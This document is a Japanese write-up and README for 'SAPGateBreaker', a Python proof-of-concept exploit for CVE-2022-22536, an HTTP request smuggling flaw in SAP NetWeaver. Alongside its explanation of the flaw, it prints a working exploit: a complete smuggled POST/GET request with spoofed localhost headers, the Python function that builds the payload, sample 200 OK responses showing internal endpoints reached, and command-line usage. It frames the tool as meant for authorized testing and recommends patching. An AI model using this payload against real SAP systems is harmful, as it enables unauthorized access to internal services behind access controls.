
SAPGateBreakerは、SAP NetWeaverの重大なHTTPリクエストスマグリング脆弱性であるCVE-2022-22536に対するPoCエクスプロイトです。このツールは、細工されたContent-Lengthベースのペイロードを使用してICMとバックエンドサービス間のリクエスト解析を非同期化することで、ACLをバイパスする方法を示しています。
SAP NetWeaver Application Server ABAP、SAP NetWeaver Application Server Java、ABAP Platform、SAP Content Server 7.53、SAP Web Dispatcherは、リクエストスマグリングおよびリクエスト連結に対して脆弱です。認証されていない攻撃者は、被害者のリクエストの先頭に任意のデータを付加できます。これにより、攻撃者は被害者になりすまして機能を実行したり、中間Webキャッシュを汚染したりできます。攻撃が成功すると、システムの機密性、完全性、可用性が完全に損なわれる可能性があります。
SAPGateBreakerは、SAP NetWeaverにおける重要なHTTPリクエストスマグリング脆弱性CVE-2022-22536のPoCエクスプロイトです。これは、細工されたContent-Lengthベースのペイロードを使用してICMとバックエンドサービス間のリクエスト解析を非同期化し、ACLをバイパスする方法を示しています。

CVE-2022-22536として特定された脆弱性は、SAP NetWeaver Application Serverにおける重大な欠陥であり、インストール環境をHTTPリクエストスマグリング攻撃にさらします。CVSSスコアが9.8のこの脆弱性は、JavaとABAPの両方のスタックに影響を与え、攻撃者がアクセス制御メカニズムをバイパスし、内部ネットワーク上にいるかのように内部アプリケーションとやりとりすることを可能にします。
HTTPリクエストスマグリングの理解
HTTPリクエストスマグリング(HRS)は、Webインフラストラクチャの異なるコンポーネント(通常はプロキシ、ロードバランサ、バックエンドサーバ)がHTTPリクエスト間の境界を解釈する際の不一致を悪用する高度な手法です。Content-LengthやTransfer-Encodingなどのヘッダーを操作することで、攻撃者はバックエンドサーバが期待するものと非同期化された悪意のあるリクエストを「密輸(smuggle)」できます。
本質的に、フロントエンドとバックエンドのサーバが1つのリクエストの終了と次のリクエストの開始について一致しない場合、攻撃者は信頼が高められた状態で処理される2つ目の隠れたリクエストを注入できます。これは多くの場合、WAF回避、キャッシュポイズニング、ACL回避などのセキュリティバイパスをもたらします。
CVE-2022-22536の性質
SAPのICM(Internet Communication Manager)は、細工されたHTTPリクエストを不適切に解析するため、密輸されたリクエストが内部サービスに到達することを可能にします。これは、内部サービスへの直接アクセスが制限されているセグメント化されたアーキテクチャにおいて特に影響が大きくなります。この脆弱性を悪用すると、攻撃者は信頼された内部ネットワークから発信されたかのように見えるリクエストを発行できます。
この脆弱性は、ペイロードがHTTPリクエストの終了に関する矛盾する解釈を悪用するときに現れます。これには通常、Transfer-Encoding: chunkedヘッダーの注入や、Content-Lengthフィールドの操作による非同期化の引き起こしが含まれます。
初期ペイロードの失敗とチャンクエンコーディングの拒否
テスト中、正規のチャンクスマグリング技術を利用したペイロードは、SAP ICMから408 Request Timeout応答を引き起こしました。この動作は、SAPのHTTPスタックが期待される方法でTransfer-Encoding: chunkedをサポートしておらず、従来のチャンクベースの非同期化を妨げていることを示していました。
その結果、エクスプロイト手法は、非同期化にContent-Lengthヘッダーを使用するように移行しました。空のチャンクペイロードの後に有効な2次HTTPリクエストが続くように細工されたリクエストは、リクエスト境界のバイパスに成功しました。この代替戦略は、内部アクセス制御のバイパスに効果的であることが証明されました。
最終的なエクスプロイト戦略とコード実装
動作するエクスプロイトは、Content-Lengthヘッダーを含むPOSTリクエストを公開エンドポイント(/sap/admin/public/default.html)に送信し、その後に内部リソースに到達することを意図した埋め込みGETリクエストを続けます。
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
これにより、内部アクセスが成功します:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
実装は、通常制限されている内部SAP URLのリストを反復処理します。直接アクセスで受信したステータスコードと、密輸リクエストを通じてアクセスした場合のステータスコードが比較されます。内部アクセスが200を返し(直接アクセスが403または404を返す場合)、スマグリング技術が内部アクセス制御のバイパスに成功したことを示します。
ペイロードを構築するロジック:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
攻撃は、密輸ペイロードを含む細工されたPOSTリクエストを使用して実行されます:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
観察された結果
複数のテストケースにおいて、通常は403 Forbiddenまたは404 Not Foundを返す/sap/public/bc/icf/infoや/heapdump/などのエンドポイントが、密輸リクエストを通じてアクセスされた場合に200 OKで応答しました。これは、SAPのアクセス制御の回避に成功したことを示しています。
ツールの出力には、送信されたペイロードと応答ヘッダーの両方が含まれており、正確なフォレンジック検証が可能です:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
通常リクエスト:


エクスプロイトリクエスト:


結論
CVE-2022-22536は、現代のエンタープライズソフトウェアスタックにおけるHTTPリクエストスマグリングの持続的な脅威を浮き彫りにしています。提示された概念実証は、根本的な脆弱性のデモンストレーションであり、検証および防御テストのためのツールとして機能します。
管理者は、SAPのセキュリティアップデートを適用し、不正な形式のHTTPリクエストの伝播を防ぐために適切なリバースプロキシ保護を実装することを強く推奨します。
CVE-2022-22536の詳細は以下を参照してください: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
SAPセキュリティノート: https://launchpad.support.sap.com/#/notes/3123396
SAPGateBreaker Exploit
SAPGateBreakerは、SAP NetWeaver Application Serverにおける重要なHTTPリクエストスマグリング脆弱性CVE-2022-22536のテストを自動化するスタンドアロンのPythonツールです。
使用方法
python3 sapgatebreaker.py -u http://<ターゲットホスト>:<ポート> [--verbose]
引数:
-u, --url:ターゲットURL(例:http://172.32.22.7:50000)-v, --verbose:各リクエストとレスポンスの詳細なヘッダーとボディの出力を有効にします機能:
poc.txtに記録してさらなる分析を可能にします免責事項
このツールは教育目的および許可された侵入テストのみを対象としています。明示的な許可なくシステムに対して不正に使用することは固く禁じられており、該当する法律に違反する可能性があります。